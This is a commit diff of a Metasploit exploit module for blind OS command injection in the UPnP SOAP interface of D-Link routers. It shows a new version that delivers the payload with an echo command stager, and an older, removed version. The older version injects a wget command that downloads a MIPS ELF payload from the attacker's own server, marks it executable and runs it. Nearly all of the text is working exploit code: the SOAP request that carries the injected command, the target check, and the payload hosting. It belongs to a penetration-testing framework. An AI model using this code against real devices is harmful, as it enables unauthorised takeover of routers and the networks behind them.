migrate from wget to echo mechanism
parent
5e7f356f31
commit
e7ade9f84d
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link Devices UPnP SOAP Command Execution',
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'Description' => %q{
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Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
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interface. Since it is a blind OS command injection vulnerability, there is no
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output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '94924' ],
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[ 'BID', '61005' ],
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[ 'EDB', '26664' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
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],
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'DisclosureDate' => 'Jul 05 2013',
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'MIPS Little Endian',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE
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}
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],
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[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPS
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}
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],
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],
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'DefaultTarget' => 0
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))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => '/InternetGatewayDevice.xml'
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})
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if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-645<\/modelNumber>/
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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print_status("#{peer} - Trying to access the vulnerable URL...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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end
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print_status("#{peer} - Exploiting...")
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execute_cmdstager(
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:flavor => :echo,
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:linemax => 400,
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)
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end
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def execute_command(cmd, opts)
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new_portmapping_descr = rand_text_alpha(8)
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new_external_port = rand(32767) + 32768
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new_internal_port = rand(32767) + 32768
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uri = '/soap.cgi'
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soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
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data_cmd = "<?xml version=\"1.0\"?>"
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data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
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data_cmd << "<SOAP-ENV:Body>"
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data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
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data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
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data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
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data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
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data_cmd << "<NewEnabled>1</NewEnabled>"
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data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
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data_cmd << "<NewRemoteHost></NewRemoteHost>"
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data_cmd << "<NewProtocol>TCP</NewProtocol>"
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data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
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data_cmd << "</m:AddPortMapping>"
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data_cmd << "</SOAP-ENV:Body>"
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data_cmd << "</SOAP-ENV:Envelope>"
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begin
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => {
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'service' => 'WANIPConn1'
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},
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'ctype' => "text/xml",
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'method' => 'POST',
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'headers' => {
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'SOAPAction' => soapaction,
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},
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'data' => data_cmd
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})
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return res
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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@ -1,267 +0,0 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include Msf::Auxiliary::CommandShell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link Devices UPnP SOAP Command Execution',
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'Description' => %q{
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Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
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interface. Since it is a blind OS command injection vulnerability, there is no
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output for the executed command when using the CMD target. Additionally, a target
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to deploy a native mipsel payload, when wget is available on the target device, has
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been added. This module has been tested on DIR-865 and DIR-645 devices.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '94924' ],
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[ 'BID', '61005' ],
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[ 'EDB', '26664' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
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],
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'DisclosureDate' => 'Jul 05 2013',
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'Privileged' => true,
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'Platform' => %w{ linux unix },
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'Payload' =>
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{
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'CMD', #all devices
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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Opt::RPORT(49152), #port of UPnP SOAP webinterface
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
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], self.class)
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end
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def exploit
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@new_portmapping_descr = rand_text_alpha(8)
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@new_external_port = rand(65535)
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@new_internal_port = rand(65535)
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if target.name =~ /CMD/
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exploit_cmd
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else
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exploit_mips
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end
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end
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def exploit_cmd
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if not (datastore['CMD'])
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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cmd = payload.encoded
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type = "add"
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res = request(cmd, type)
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if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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type = "delete"
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res = request(cmd, type)
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if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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return
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end
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def exploit_mips
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downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
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#thx to Juan for his awesome work on the mipsel elf support
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@pl = generate_payload_exe
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@elf_sent = false
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#
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# start our server
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#
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resource_uri = '/' + downfile
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if (datastore['DOWNHOST'])
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service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
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else
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# do not use SSL for this part
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# XXX: See https://dev.metasploit.com/redmine/issues/8498
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# It must be possible to do this without directly editing the
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# datastore.
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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#we use SRVHOST as download IP for the coming wget command.
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#SRVHOST needs a real IP address of our download host
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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# Restore SSL preference
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# XXX: See https://dev.metasploit.com/redmine/issues/8498
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# It must be possible to do this without directly editing the
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# datastore.
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datastore['SSL'] = true if ssl_restore
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end
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#
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# download payload
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#
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print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
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#this filename is used to store the payload on the device
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filename = rand_text_alpha_lower(8)
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cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
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type = "add"
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res = request(cmd, type)
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if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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# wait for payload download
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if (datastore['DOWNHOST'])
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print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
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select(nil, nil, nil, datastore['HTTP_DELAY'])
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else
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wait_linux_payload
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end
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register_file_for_cleanup("/tmp/#{filename}")
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type = "delete"
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res = request(cmd, type)
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if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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end
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def request(cmd, type)
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uri = '/soap.cgi'
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data_cmd = "<?xml version=\"1.0\"?>"
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data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
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data_cmd << "<SOAP-ENV:Body>"
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if type == "add"
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vprint_status("#{rhost}:#{rport} - adding portmapping")
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soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
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data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
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data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
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data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
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data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
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data_cmd << "<NewEnabled>1</NewEnabled>"
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data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
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data_cmd << "<NewRemoteHost></NewRemoteHost>"
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data_cmd << "<NewProtocol>TCP</NewProtocol>"
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data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
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data_cmd << "</m:AddPortMapping>"
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else
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#we should clean it up ... otherwise we are not able to exploit it multiple times
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vprint_status("#{rhost}:#{rport} - deleting portmapping")
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soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
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data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
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data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
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data_cmd << "</m:DeletePortMapping>"
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end
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data_cmd << "</SOAP-ENV:Body>"
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data_cmd << "</SOAP-ENV:Envelope>"
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begin
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => {
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'service' => 'WANIPConn1'
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},
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'ctype' => "text/xml",
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'method' => 'POST',
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'headers' => {
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'SOAPAction' => soapaction,
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},
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'data' => data_cmd
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})
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return res
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rescue ::Rex::ConnectionError
|
|
||||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Handle incoming requests from the server
|
|
||||||
def on_request_uri(cli, request)
|
|
||||||
#print_status("on_request_uri called: #{request.inspect}")
|
|
||||||
if (not @pl)
|
|
||||||
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
||||||
@elf_sent = true
|
|
||||||
send_response(cli, @pl)
|
|
||||||
end
|
|
||||||
|
|
||||||
# wait for the data to be sent
|
|
||||||
def wait_linux_payload
|
|
||||||
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
|
|
||||||
|
|
||||||
waited = 0
|
|
||||||
while (not @elf_sent)
|
|
||||||
select(nil, nil, nil, 1)
|
|
||||||
waited += 1
|
|
||||||
if (waited > datastore['HTTP_DELAY'])
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
Loading…
Reference in New Issue